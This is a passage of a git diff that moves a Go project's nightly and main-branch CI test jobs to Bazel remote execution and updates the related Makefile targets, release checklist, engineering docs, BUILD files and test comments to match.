'blacksmith-4vcpu-ubuntu-2404' }} - # F7c review fix S2: pin push-to-main-only at the job level, not just via - # this workflow's current `on: push` trigger. If main.yml ever gained a - # pull_request (or merge_group) trigger in the future, a bare - # `github.repository == ...` guard would let this job - and the bare, - # always-saving cache below it - run on a PR, making every same-repo PR a - # writer of the Blacksmith setup-go cache namespace every advisory - # consumer trusts. Pinned exactly by - # TestBlacksmithSeederGuardedAgainstPullRequest. - if: github.event_name == 'push' && github.ref == 'refs/heads/main' && github.repository == 'gastownhall/beads' - timeout-minutes: 15 - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - - - name: Set up Go - id: setup-go - uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0 - with: - go-version-file: 'go.mod' - cache: false - - # F7c review fix S5: the old key suffix was ${{ github.sha }}, so every - # single push to main - whether or not go.sum changed - saved a brand - # new multi-GB ~/go/pkg/mod + ~/.cache/go-build entry under this - # namespace. On a cache store with LRU eviction (Blacksmith), that churn - # risked evicting F7a's own beads-go-mod-v2-*/beads-go-build-v2-* cache - # entries. Keying per UTC day instead still bounds staleness (a go.sum - # change is picked up on save on the very next push, and a same-day - # restore-keys fallback to yesterday's entry is only ever a prefix - # away), while capping writes to at most once per calendar day instead - # of once per push. Pinned by TestBlacksmithSeederCacheKeyIsNotPerCommit. - - name: Compute cache date - id: cache-date - run: echo "today=$(date -u +%Y%m%d)" >> "$GITHUB_OUTPUT" - - - name: Restore Blacksmith setup-go cache - uses: actions/cache/restore@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 - with: - path: | - ~/go/pkg/mod - ~/.cache/go-build - key: blacksmith-sg-v1-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-${{ hashFiles('go.sum') }}-${{ steps.cache-date.outputs.today }} - restore-keys: | - blacksmith-sg-v1-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-${{ hashFiles('go.sum') }}- - blacksmith-sg-v1-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}- - - # Unconditional (not gated on a cache hit): this job's entire purpose is - # to keep the Blacksmith-side cache warm, so it must always repopulate - # GOCACHE/GOMODCACHE even when the restore step above already found a - # usable entry (a stale or partial restore should still self-heal here). - - name: Build bd - run: make build - - # Always save (even if a warm-up step above failed) under a fresh, - # commit-specific key: the content is still a valid, newer GOCACHE/ - # GOMODCACHE snapshot than whatever was restored, and `cache/save` is a - # pure write with no read-back of PR-controlled state, so there is no - # poisoning concern in saving unconditionally here. - - name: Save Blacksmith setup-go cache - if: always() - uses: actions/cache/save@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 - with: - path: | - ~/go/pkg/mod - ~/.cache/go-build - key: blacksmith-sg-v1-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-${{ hashFiles('go.sum') }}-${{ steps.cache-date.outputs.today }} + key: beads-go-build-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-base-gms_pure_go-non-race-${{ hashFiles('go.sum') }}-${{ steps.cache-date.outputs.today }} \ No newline at end of file diff --git a/.github/workflows/nightly.yml b/.github/workflows/nightly.yml index 025a35ac0..97f7bb42b 100644 --- a/.github/workflows/nightly.yml +++ b/.github/workflows/nightly.yml @@ -1,110 +1,27 @@ -name: Nightly Full Tests +name: Nightly +# Every nightly test runs under Bazel on rbe-west: the `bazel` call below is +# the full suite with no cached test results. Nothing here runs go test on a +# runner (ga-96smfk.22). on: schedule: # Run at 2am UTC daily - cron: '0 2 * * *' workflow_dispatch: - inputs: - suite: - description: "Nightly suite or measurement suite" - required: true - type: choice - default: full-test - options: - - full-test - - pr-linux - - macos-short - - macos-candidates - - linux-integration - - linux-integration-sharded - - linux-integration-hybrid-sharded - - linux-integration-hybrid-16-sharded - - linux-integration-hybrid-prebuilt-sharded - - linux-integration-coverage - - cross-version-smoke - - nix - - mcp-package - - npm-package - - bazel - smoke_version: - description: "Optional previous release for cross-version-smoke" - required: false - default: "" env: BD_DISABLE_METRICS: "1" BD_DISABLE_EVENT_FLUSH: "1" jobs: - measure: - name: Measure selected CI suite - if: ${{ github.event_name == 'workflow_dispatch' && inputs.suite != 'full-test' && inputs.suite != 'bazel' }} - uses: ./.github/workflows/ci-measurements.yml - with: - suite: ${{ inputs.suite }} - smoke_version: ${{ inputs.smoke_version }} - - # PR Core's go test (scripts/ci/pr-core.sh) with -json output, so the Bazel - # job below can compare per-test status: a test that passes here and skips - # under Bazel fails the equivalence check unless allowlisted. - bazel-go-test-json: - name: Bazel equivalence (go-test side) - if: ${{ github.event_name == 'schedule' || inputs.suite == 'bazel' }} - runs-on: ubuntu-latest - timeout-minutes: 60 - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - - - name: Set up Go - id: setup-go - uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0 - with: - go-version-file: 'go.mod' - cache: false - - - name: Restore Go module cache - uses: actions/cache/restore@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 - with: - path: ~/go/pkg/mod - key: beads-go-mod-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-${{ hashFiles('go.mod', 'go.sum') }} - restore-keys: beads-go-mod-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}- - - - name: Install Dolt - run: ./scripts/ci/install-dolt.sh - - - name: Configure Git and Dolt identity - run: | - git config --global user.name "CI Bot" - git config --global user.email "ci@beads.test" - dolt config --global --add user.name "CI Bot" - dolt config --global --add user.email "ci@beads.test" - - - name: Run PR core go-test (JSON) - env: - BEADS_PR_CORE_GO_TEST_JSON: ${{ runner.temp }}/go-test.json - run: make ci-pr-core - - # Uploaded even when tests fail: the status comparison still applies. - - name: Upload go-test results - if: ${{ always() }} - uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7 - with: - name: bazel-equivalence-go-test-json - path: ${{ runner.temp }}/go-test.json - if-no-files-found: error - retention-days: 7 - - # Bazel lane with the full go test equivalence listing and the skip-parity - # check (reported here; PRs gate on it through pr.yml). Remote execution - # when the repo secrets are present; bazel.yml gets the four RBE secrets - # plus rbe-prewarm's bazel-allocator app private key (same-repo/scheduled - # trigger only, so pre-warming is safe here - see bazel.yml's - # "rbe-west Pre-warm" header and engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md). + # Bazel lane with the full equivalence listing (package and test-name sets; + # PRs gate on it through pr.yml). Remote execution when the repo secrets + # are present; bazel.yml gets the four RBE secrets plus rbe-prewarm's + # bazel-allocator app private key (same-repo/scheduled trigger only, so + # pre-warming is safe here - see bazel.yml's "rbe-west Pre-warm" header and + # engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md). bazel: - name: Bazel equivalence (full detail) - needs: bazel-go-test-json - if: ${{ !cancelled() && (github.event_name == 'schedule' || inputs.suite == 'bazel') }} + name: Bazel (fresh, full detail) uses: ./.github/workflows/bazel.yml secrets: RBE_WEST_EXECUTOR: ${{ secrets.RBE_WEST_EXECUTOR }} @@ -114,7 +31,6 @@ jobs: RBE_POOL_APP_PRIVATE_KEY: ${{ secrets.RBE_POOL_APP_PRIVATE_KEY }} with: details: true - go-test-json-artifact: bazel-equivalence-go-test-json # The one run that re-executes every test (no cached test results): # PRs, merge groups and pushes to main reuse unchanged tests' PASSes, # so this keeps sampling flaky and -race failures every night. @@ -126,7 +42,6 @@ jobs: # that falls behind queues every remote action, so say so every night. rbe-worker-env-sync: name: rbe worker-env in step with gascity - if: ${{ github.event_name == 'schedule' || inputs.suite == 'bazel' }} runs-on: ubuntu-latest timeout-minutes: 5 steps: @@ -136,93 +51,3 @@ jobs: - name: Compare the worker-env manifest and pin with gascity's main run: tools/rbe/worker-env-sync main - - full-test: - name: Full Test Suite - if: ${{ github.event_name == 'schedule' || inputs.suite == 'full-test' }} - runs-on: ubuntu-latest - timeout-minutes: 45 - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - - - name: Set up Go - uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0 - with: - go-version-file: 'go.mod' - - - name: Install Dolt - run: | - ./scripts/ci/install-dolt.sh - - - name: Configure Git and Dolt identity - run: | - git config --global user.name "CI Bot" - git config --global user.email "ci@beads.test" - dolt config --global --add user.name "CI Bot" - dolt config --global --add user.email "ci@beads.test" - - - name: Build - run: go build -v -tags gms_pure_go ./cmd/bd - - - name: Full Test Suite (including integration tests) - env: - # Skip Docker-based Dolt testcontainer tests — they hang in - # GitHub Actions (known issue, see scripts/repro-dolt-hang/). - # Non-Docker integration tests still run via the installed dolt binary. - BEADS_TEST_SKIP: dolt - run: go test -v -race -tags=integration,gms_pure_go -coverprofile=coverage.out -timeout=30m ./... - - # The suite above never sets BEADS_TEST_EMBEDDED_DOLT, so every - # skipUnlessEmbeddedDolt-gated test in internal/storage/embeddeddolt - # (including TestBatchApplyContract, the 1000-item case of - # TestLargeBatchApplyWallClock_Embedded, and — F1 — the 712-item case of - # TestLargeBatchApplyStatementCounts712_Embedded) is skipped there, on - # every lane, not just this one. This step is their only non-race - # coverage of a real 1000-item apply through the embedded backend, and - # (F1) the only coverage at all of the 712-item shape's pinned - # statement-count regression baseline on a per-PR race lane: the race - # lanes (main.yml, pr-risk.yml) shrink/skip those cases under - # raceEnabled — see - # internal/storage/embeddeddolt/large_batch_apply_measure_test.go — and - # the PR-conditional server-Dolt full suite (full_embedded in - # .github/scripts/ci-embedded-tier.sh) covers the SAME write body - # (internal/storage/issueops.ApplyBatchInTx) through a different - # backend, not this one. Non-race here because the embedded engine's - # own goroutine/lock machinery runs inside this test binary and the - # race detector dramatically inflates its wall-clock (see - # race_detector_on_test.go), which is exactly what - # TestLargeBatchApplyWallClock_Embedded is measuring and exactly why - # TestLargeBatchApplyStatementCounts712_Embedded's 712-item case takes - # ~260-300s under -race (genuine engine-internal race overhead, not - # test logic — see that test's doc comment). The same holds for the - # 458-issue batch-create equivalence scenarios - # (TestCreateBatchFastPathsMatchPerRowLarge_Embedded). - - name: Embedded Dolt batch-apply suite (non-race) - if: ${{ !cancelled() }} - env: - BEADS_TEST_EMBEDDED_DOLT: "1" - run: go test -tags gms_pure_go -timeout 20m -run '^(TestBatchApplyContract|TestLargeBatchApplyWallClock_Embedded|TestLargeBatchApplyStatementCounts712_Embedded|TestCreateBatchFastPathsMatchPerRowLarge_Embedded)$' ./internal/storage/embeddeddolt - - - name: Check coverage threshold - run: | - COVERAGE=$(go tool cover -func=coverage.out | grep total | awk '{print $3}' | sed 's/%//') - echo "Coverage: $COVERAGE%" - # Threshold is lower (30%) because Docker-based Dolt integration - # tests are skipped in CI (BEADS_TEST_SKIP=dolt). With Docker - # tests included, coverage would be ~50%+. - if (( $(echo "$COVERAGE < 30" | bc -l) )); then - echo "❌ Coverage is below 30% threshold" - exit 1 - elif (( $(echo "$COVERAGE < 40" | bc -l) )); then - echo "⚠️ Coverage is below 40% (warning threshold)" - else - echo "✅ Coverage meets threshold" - fi - - - name: Upload coverage - uses: codecov/codecov-action@fb8b3582c8e4def4969c97caa2f19720cb33a72f # v6 - if: success() - continue-on-error: true - with: - file: ./coverage.out - fail_ci_if_error: false diff --git a/Makefile b/Makefile index e9e2a4202..fe5ada1c1 100644 --- a/Makefile +++ b/Makefile @@ -46,7 +46,7 @@ endif .PHONY: all build doctor-build test test-icu-path test-full-cgo test-regression test-upgrade test-cross-version test-migration corpus-regen githooks-regen bench bench-quick clean clean-test-tmp install install-force help check-up-to-date fmt fmt-check check-testing-short .PHONY: lint lint-changed vet .PHONY: check check-go test-go check-docs-go -.PHONY: ci-pr-core ci-pr-policy ci-pr-lint ci-complexity ci-complexity-diff ci-complexity-check ci-package-mcp ci-package-npm +.PHONY: ci-pr-core ci-pr-lint ci-complexity ci-complexity-diff ci-complexity-check ci-package-mcp ci-package-npm .PHONY: api-gen api-check .PHONY: bazel-sync bazel-sync-check @@ -229,9 +229,6 @@ test-full-cgo: ci-pr-core: @./scripts/ci/pr-core.sh -ci-pr-policy: - @./scripts/ci/pr-policy.sh - # Lint and vet are nogo (//tools/nogo): go test's vet checks plus the # golangci-lint linters .golangci.yml enables, validated beside every Go # compile, so any `bazel build`/`bazel test` (local or on rbe-west) fails on a @@ -295,9 +292,8 @@ api-gen: go generate -tags "$(BUILD_TAGS)" ./internal/httpapi/apigen # Two-part spec drift gate: regenerate and fail if regeneration CHANGED -# anything, then run the spec tests. Runs in the PR workflow's policy job -# (scripts/ci/pr-policy.sh), on every pull request, never only on -# push-to-main. +# anything, then run the spec tests. CI runs the drift half as +# //scripts/repochecks:types_gen_drift_test. # # The drift question is "do the checked-out types already match the checked-out # spec", so the comparison is before-vs-after regeneration rather than @@ -544,7 +540,6 @@ help: @echo " make test-icu-path - Run opt-in ICU regex path tests (maintainer-only)" @echo " make test-full-cgo - Deprecated alias for make test-icu-path" @echo " make ci-pr-core - Run required PR core Go test wrapper" - @echo " make ci-pr-policy - Run required PR policy wrapper" @echo " make ci-pr-lint - Run the required lint gate: nogo (vet + golangci-lint's linters) under Bazel, native + windows/darwin" @echo " make lint - Same as ci-pr-lint (make vet too)" @echo " make lint-changed - nogo over the Bazel packages of changed Go files (LINT_CHANGED_SCOPE=staged|worktree)" diff --git a/RELEASING.md b/RELEASING.md index 91a517832..e05b73072 100644 --- a/RELEASING.md +++ b/RELEASING.md @@ -94,15 +94,19 @@ release-critical gates do not all run on every PR, so "tag the tip of main" means tagging a SHA nobody has fully tested. A burned tag is never reused (the v1.1.1 and v1.2.0 precedents), so that gamble is expensive. -**Cut the branch from a SHA that is green on both `Main` and -`Nightly Full Tests`.** The `Main` workflow runs on push to `main` and the -`Nightly Full Tests` workflow runs on a 2am UTC schedule, so the newest SHA -with both is usually a few hours behind the tip: +**Cut the branch from a SHA that is green on `Bazel`, `Main` and +`Nightly`.** The `Bazel` workflow (every Linux test lane, on rbe-west) and +the `Main` workflow (the macOS and Windows jobs) run on push to `main`, and +the `Nightly` workflow (the full Bazel suite with no cached test results) +runs on a 2am UTC schedule, so the newest SHA with all three is usually a +few hours behind the tip: ```bash +gh run list --workflow Bazel --branch main --event push --status success --limit 5 \ + --json headSha,conclusion,createdAt gh run list --workflow Main --branch main --status success --limit 5 \ --json headSha,conclusion,createdAt -gh run list --workflow "Nightly Full Tests" --status success --limit 3 \ +gh run list --workflow Nightly --status success --limit 3 \ --json headSha,conclusion,createdAt git fetch origin @@ -136,8 +140,8 @@ git log --oneline main..release/1.3.0 Before starting a release: -- [ ] `release/x.y.z` branch cut from a SHA green on `Main` **and** - `Nightly Full Tests` (see [Release Branches](#release-branches)) +- [ ] `release/x.y.z` branch cut from a SHA green on `Bazel`, `Main` **and** + `Nightly` (see [Release Branches](#release-branches)) - [ ] All tests passing (`make test`, the Bazel test lane) - [ ] npm package tests passing (`cd npm-package && npm run test:all`) - [ ] **Upgrade smoke tests pass** (`make test-upgrade`) — see [Release Stability Gate](engdocs/RELEASE-STABILITY-GATE.md) diff --git a/cmd/bd/BUILD.bazel b/cmd/bd/BUILD.bazel index e0d894eb3..cb48242fb 100644 --- a/cmd/bd/BUILD.bazel +++ b/cmd/bd/BUILD.bazel @@ -1554,8 +1554,7 @@ sh_test( # instead of skipping every Dolt-gated test into a cached pass. These are # the cmd/bd tests no other lane runs: every other configuration of bd_test # passes BEADS_TEST_SKIP=dolt (prcore/ci, integration) or runs only its -# manifest (bd_embedded_test, bd_proxied_test), and so does nightly.yml's -# go test job. No -test.run/-test.skip: the Go binary shards +# manifest (bd_embedded_test, bd_proxied_test). No -test.run/-test.skip: the Go binary shards # itself over every top-level test (rules_go's TEST_SHARD_INDEX), so each # runs in exactly one shard, and check_testcases.py fails a shard that ran # none. It repeats bd_test's `env` (the wrapper cannot inherit it). diff --git a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md index 5e82bc916..f706e6d18 100644 --- a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md +++ b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md @@ -140,9 +140,22 @@ Current PR-related workflow names: detection and the `bazel-coverage` decision were retired (ga-96smfk.22): `pr.yml`'s Bazel lanes run those tests. - `.github/workflows/main.yml`: `Main` - Runs on pushes to `main`. Contains the main branch health checks, package - gates, platform smoke/short coverage, embedded Dolt coverage, and promoted - Linux no-short integration shards. + Runs on pushes to `main`. Contains only what rbe-west cannot run: the macOS + `go test -race -short` suite and the Windows smoke build on Blacksmith, and + the push-to-main savers of the GOCACHEs pr.yml's Windows and macOS jobs + restore. Every Linux check it used to repeat (migration hygiene, build + tags, versions, doc flags, gofmt, the PR policy wrapper, the package gates, + the Nix flake check and the Linux cache seeders) is gated before the merge + by the merge queue's `pr.yml`/`pr-risk.yml` run of the same commit, and + `bazel.yml`'s push run re-runs the Bazel targets (ga-96smfk.22). +- `.github/workflows/nightly.yml`: `Nightly` + Runs at 02:00 UTC. Calls `bazel.yml` with `fresh-test-results: true` (every + test re-executed, no cached results) and checks the rbe-west worker-env + pin against gascity. It runs no `go test` on a runner: its former Full Test + Suite, PR Core `go test -json` equivalence side and `ci-measurements.yml` + dispatch suites are retired; the non-race embedded batch-apply step is + `//internal/storage/embeddeddolt:embeddeddolt_batch_apply_nonrace_test` in + the embedded tier. - The differential regression suite (`tests/regression`, formerly `regression.yml`) is `//tests/regression:regression_test`, tagged `dolt-server-cmd`, so `bazel.yml`'s `bazel-cmd-dolt` lane runs it on every @@ -926,9 +939,10 @@ Required` requires them to have run remotely and passed. - PR Core's other work: `scripts/ci/pr-core.sh` is the one `go test` (plus a timing summary); its `BEADS_TEST_REQUIRE_EXCLUDE_PERMISSION=1` is `test:prcore`'s too. `bazel-test`'s equivalence step compares Bazel's - tests with `go list`, not with PR Core's run, so it is unaffected; - `nightly.yml` still runs PR Core's `go test -json` for the skip-parity - check. + tests with `go list`, not with PR Core's run, so it is unaffected. The + skip-parity check (`equivalence.py --go-test-json`) has no CI caller + since nightly's go-test side was retired (ga-96smfk.22); run it by hand + with `BEADS_PR_CORE_GO_TEST_JSON` when auditing a skip. - `--config=sole-run` (`--experimental_remote_cache_eviction_retries=0`, the step 1 and 2 hardening) is added to every `bazel test` of the three lanes wherever they execute remotely (`BAZEL_SOLE_RUN`: modes `remote`, @@ -1186,8 +1200,7 @@ pr.yml's two mixed-OS matrix jobs, `pr-preflight-platforms` and merge_group, through the same `runner: same-repo-macos` matrix marker and same-repo expression their Linux/Windows legs use. Forks, Dependabot and every other event keep GitHub-hosted `macos-latest`. They are the only PR -macOS jobs; `release.yml`, `nightly.yml` and `ci-measurements.yml` stay on -`macos-latest`. +macOS jobs; `release.yml` stays on `macos-latest`. - **Label.** Pinned to `macos-26` because GitHub's `macos-latest` resolves to `macos-26-arm64` today, so both paths run the same OS and architecture and diff --git a/engdocs/TESTING.md b/engdocs/TESTING.md index 46aab1118..0dde5d0ee 100644 --- a/engdocs/TESTING.md +++ b/engdocs/TESTING.md @@ -73,7 +73,7 @@ a unit test: use the real boundary when the defect could live there. | Affected-package confidence | `bazel test //path/to/package/... --config=ci` | After the focused test passes; include directly affected neighbors when their contract changed. | | Final gate | `make test` | Once after focused work on Go code is green: the whole test lane, mostly cache hits. | | Another lane's risk | that lane's command from the table above | When the change touches what that lane covers (integration-tagged files, the Dolt server path, embedded Dolt, pure-Go builds). | -| Named CI wrapper | `make ci-pr-core`, `make ci-pr-policy`, or `make ci-pr-lint` | Run the wrapper whose risk or surface is affected, or use it to reproduce that CI check. Do not run all three routinely for every edit. | +| Named CI wrapper | `make ci-pr-core` or `make ci-pr-lint` | Run the wrapper whose risk or surface is affected, or use it to reproduce that CI check. Do not run all three routinely for every edit. | | Hook shims against real timeout implementations | `nix flake check -L` (or `nix build .#checks..hook-timeout-backends -L`) | After changing the hook generator in `cmd/bd/hooks.go` (then `make githooks-regen`) or anything under `.githooks/`. Runs the tracked managed sections against GNU coreutils, uutils, busybox and toybox `timeout` — the multicalls also installed as `gtimeout` alone — with and without Perl, under dash, bash and busybox ash. About one deadline of wall time; needs no Go build. | Do not replace the focused loop with repeated full-suite runs. Run the final diff --git a/internal/storage/dolt/BUILD.bazel b/internal/storage/dolt/BUILD.bazel index 7263ec7bf..9a14c1778 100644 --- a/internal/storage/dolt/BUILD.bazel +++ b/internal/storage/dolt/BUILD.bazel @@ -125,7 +125,7 @@ go_library( # this package with a real `go test -c` (integration.SubprocessRunner), which # needs the module's source tree and a module cache no action has. They run # only against a server: skipped under --config=integration -# (BEADS_TEST_SKIP=dolt, like nightly.yml's full test), and run by +# (BEADS_TEST_SKIP=dolt), and run by # dolt_server_full_test, which hands SubprocessRunner its own test binary # (BEADS_TEST_SUBPROCESS_BINARY) instead. go_test( diff --git a/internal/storage/embeddeddolt/BUILD.bazel b/internal/storage/embeddeddolt/BUILD.bazel index d250bd628..a2fb5266a 100644 --- a/internal/storage/embeddeddolt/BUILD.bazel +++ b/internal/storage/embeddeddolt/BUILD.bazel @@ -1,5 +1,6 @@ load("@rules_go//go:def.bzl", "go_library", "go_test") load("@rules_shell//shell:sh_test.bzl", "sh_test") +load("//tools/bazel:race.bzl", "go_test_race_off") go_library( name = "embeddeddolt", @@ -361,6 +362,49 @@ sh_test( tags = ["embedded"], ) +# embeddeddolt_test without the race detector: the input of +# embeddeddolt_batch_apply_nonrace_test below. +# +# Tags: +# manual: only that variant's input, never a build target of its own. +go_test_race_off( + name = "embeddeddolt_race_off", + tags = ["manual"], + test = ":embeddeddolt_test", +) + +# The large embedded batch applies at full size, which every race lane +# shrinks or skips (raceEnabled; see large_batch_apply_measure_test.go): the +# 1000-item TestBatchApplyContract/BoundsTheItemCount and wall-clock shapes, +# the pinned 712-item statement counts, and the 458-issue batch-create +# equivalence scenarios. Non-race, BEADS_TEST_EMBEDDED_DOLT=1, the selection +# nightly.yml's retired "Embedded Dolt batch-apply suite (non-race)" step ran +# with `go test` on a runner. The wall-clock test only logs its timings, so +# a shared executor cannot fail it. +# +# Tags: +# embedded: the embedded-Dolt tier; excluded from --config=prcore/ci, +# selected by --config=embedded. +sh_test( + name = "embeddeddolt_batch_apply_nonrace_test", + size = "large", + # The step's -timeout 20m, with the same -test.timeout=19m deviation as + # the conformance variants above, so Go's timeout fires (with a goroutine + # dump) before Bazel's 1200s action limit. + timeout = "eternal", + srcs = ["//tools/bazel:go_test_variant.sh"], + args = [ + "$(rootpath :embeddeddolt_race_off)", + "-test.v", + "-test.count=1", + "-test.timeout=19m", + "-test.run=^(TestBatchApplyContract|TestLargeBatchApplyWallClock_Embedded|TestLargeBatchApplyStatementCounts712_Embedded|TestCreateBatchFastPathsMatchPerRowLarge_Embedded)$$", + ], + data = [":embeddeddolt_race_off"], + env = {"BEADS_TEST_EMBEDDED_DOLT": "1"}, + tags = ["embedded"], +) + # --- begin go_srcs (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( diff --git a/internal/storage/embeddeddolt/create_batch_equivalence_test.go b/internal/storage/embeddeddolt/create_batch_equivalence_test.go index 0be085bfe..913f1ab35 100644 --- a/internal/storage/embeddeddolt/create_batch_equivalence_test.go +++ b/internal/storage/embeddeddolt/create_batch_equivalence_test.go @@ -22,13 +22,13 @@ func TestCreateBatchFastPathsMatchPerRow_Embedded(t *testing.T) { // TestCreateBatchFastPathsMatchPerRowLarge_Embedded runs the 458-issue // equivalence scenarios. It is skipped under -race, where the in-process // engine's own instrumentation makes each scenario take many minutes; -// nightly.yml's "Embedded Dolt batch-apply suite (non-race)" step runs it, +// //internal/storage/embeddeddolt:embeddeddolt_batch_apply_nonrace_test (non-race) runs it, // and the server backend's full suite (non-race) runs the same scenarios on // every PR that takes that tier. func TestCreateBatchFastPathsMatchPerRowLarge_Embedded(t *testing.T) { skipUnlessEmbeddedDolt(t) if raceEnabled { - t.Skip("458-issue equivalence scenarios skipped under -race; nightly.yml's non-race embedded step runs them") + t.Skip("458-issue equivalence scenarios skipped under -race; embeddeddolt_batch_apply_nonrace_test runs them") } createbatchequiv.RunLarge(t, openEquivalenceDB) } diff --git a/internal/storage/embeddeddolt/large_batch_apply_measure_test.go b/internal/storage/embeddeddolt/large_batch_apply_measure_test.go index f2afca563..cbdb06800 100644 --- a/internal/storage/embeddeddolt/large_batch_apply_measure_test.go +++ b/internal/storage/embeddeddolt/large_batch_apply_measure_test.go @@ -222,12 +222,10 @@ const large712ShapeName = "712 (mol 2x)" // engine's own internal goroutine/lock machinery, not on anything this // test's own logic does, and unlike the wall-clock test this one DOES have a // real pass/fail assertion (the pinned Total() above), so skipping it under -// race is a deliberate reduction from per-PR to nightly-only coverage for -// this specific regression check — not a weakening of the assertion itself. -// nightly.yml's "Embedded Dolt batch-apply suite (non-race)" step (the -// nightly embedded non-race lane from #7128) has its -run regex extended -// alongside this change to include this test, so the full 12790-statement -// pinned baseline still runs, non-race, every night. +// race moves this regression check to the non-race embedded variant — not a +// weakening of the assertion itself. //internal/storage/embeddeddolt:embeddeddolt_batch_apply_nonrace_test +// (the Bazel embedded tier) selects this test, so the full 12790-statement +// pinned baseline still runs, non-race. func runLargeBatchApplyStatementCountsShape(t *testing.T, shapeName string) { skipUnlessEmbeddedDolt(t) ctx := t.Context() @@ -240,7 +238,7 @@ func runLargeBatchApplyStatementCountsShape(t *testing.T, shapeName string) { matched = true t.Run(tc.name, func(t *testing.T) { if tc.name == large712ShapeName && raceEnabled { - t.Skip("712-item shape's statement-count assertion skipped under -race (race-instrumentation overhead on the Dolt engine itself, not test logic); nightly.yml's Embedded Dolt batch-apply suite (non-race) step runs the full pinned assertion nightly instead; see doc comment above") + t.Skip("712-item shape's statement-count assertion skipped under -race (race-instrumentation overhead on the Dolt engine itself, not test logic); embeddeddolt_batch_apply_nonrace_test runs the full pinned assertion non-race instead; see doc comment above") } fixture := newPristineEmbeddedDoltFixture(t, tc.db) t.Cleanup(func() { closeEmbeddedDoltStore(t, fixture.store) }) @@ -355,8 +353,8 @@ var wallClockShapes = []struct { // own wrapper gets under -race, anywhere in CI, is 150 items; without // -race it still gets the full 1000 in that same subtest. This is a // known, deliberate gap for the race-enabled lane specifically, not an -// oversight — closing it needs a dedicated non-race embedded run (see the -// nightly workflow step added alongside this comment). +// oversight — the dedicated non-race embedded run is +// //internal/storage/embeddeddolt:embeddeddolt_batch_apply_nonrace_test. func TestLargeBatchApplyWallClock_Embedded(t *testing.T) { skipUnlessEmbeddedDolt(t) ctx := t.Context() diff --git a/scripts/README.md b/scripts/README.md index 3bfa67bde..b74ed4a2e 100644 --- a/scripts/README.md +++ b/scripts/README.md @@ -9,7 +9,6 @@ the target CI tiers; Make targets are aliases for local discoverability. ```bash make ci-pr-core -make ci-pr-policy make ci-pr-lint make ci-package-mcp make ci-package-npm @@ -38,7 +37,8 @@ The broad Go wrappers also cap package and test parallelism to `4` by default (`GO_TEST_PKG_PARALLEL` and `GO_TEST_PARALLEL`). This avoids turning high-core shared hosts into a different test topology than GitHub Actions. -`make ci-pr-policy` includes `scripts/check-testing-short.sh`, which enforces +`scripts/check-testing-short.sh` (`make check-testing-short`; CI runs it in +`//scripts:scripts_test`) enforces that `testing.Short()` is only used for runtime, stress, or large-fixture skips. Use build tags, environment checks, or named wrappers for integration/e2e/API boundaries. diff --git a/scripts/bazel_policy_test.go b/scripts/bazel_policy_test.go index 8a0d2516e..2ea1441cc 100644 --- a/scripts/bazel_policy_test.go +++ b/scripts/bazel_policy_test.go @@ -1513,10 +1513,11 @@ func sameTagSet(a, b map[string]bool) bool { } // TestBazelIntegrationLaneMatchesMainWorkflow keeps --config=integration in -// step with the integration-tagged `go test` it replaced on push to main -// (main.yml's former "Main Linux integration" jobs), whose one remaining Go -// twin is nightly.yml's Full Test Suite: the same build tags, race, -// BEADS_TEST_SKIP=dolt, and none of the variants that run does not use. +// step with the integration-tagged `go test` it replaced (main.yml's former +// "Main Linux integration" jobs and nightly.yml's retired Full Test Suite, +// `go test -race -tags=integration,gms_pure_go ./...` with +// BEADS_TEST_SKIP=dolt): the same build tags, race, BEADS_TEST_SKIP=dolt, and +// none of the variants that run does not use. // It also requires gazelle to see the same tags (root BUILD.bazel // `gazelle:build_tags`): gazelle drops a file whose build constraint names a // tag it does not know, so without it no BUILD file would list the integration @@ -1525,22 +1526,7 @@ func sameTagSet(a, b map[string]bool) bool { // through `make bazel-sync`, whose staleness bazel.yml already fails on. func TestBazelIntegrationLaneMatchesMainWorkflow(t *testing.T) { root := bazelPolicyRoot(t) - nightly := readCIWorkflow(t, "nightly.yml").job(t, "full-test") - var want map[string]bool - for _, step := range nightly.Steps { - if m := regexp.MustCompile(`go test .*-race -tags=(\S+) .*-timeout=30m \./\.\.\.`).FindStringSubmatch(step.Run); m != nil { - if want != nil { - t.Fatalf("nightly.yml full-test: more than one integration `go test -race -tags=...` step") - } - want = tagSet(m[1]) - if step.Env["BEADS_TEST_SKIP"] != "dolt" { - t.Fatal("nightly.yml full-test no longer runs with BEADS_TEST_SKIP=dolt; update test:integration") - } - } - } - if !want["integration"] { - t.Fatalf("nightly.yml full-test: want one `go test -race -tags=...integration... -timeout=30m ./...` step, got tags %v", want) - } + want := tagSet("integration,gms_pure_go") bazelrc := readPolicyFile(t, root, ".bazelrc") lines := map[string]bool{} @@ -1553,7 +1539,7 @@ func TestBazelIntegrationLaneMatchesMainWorkflow(t *testing.T) { } } if !sameTagSet(laneTags, want) { - 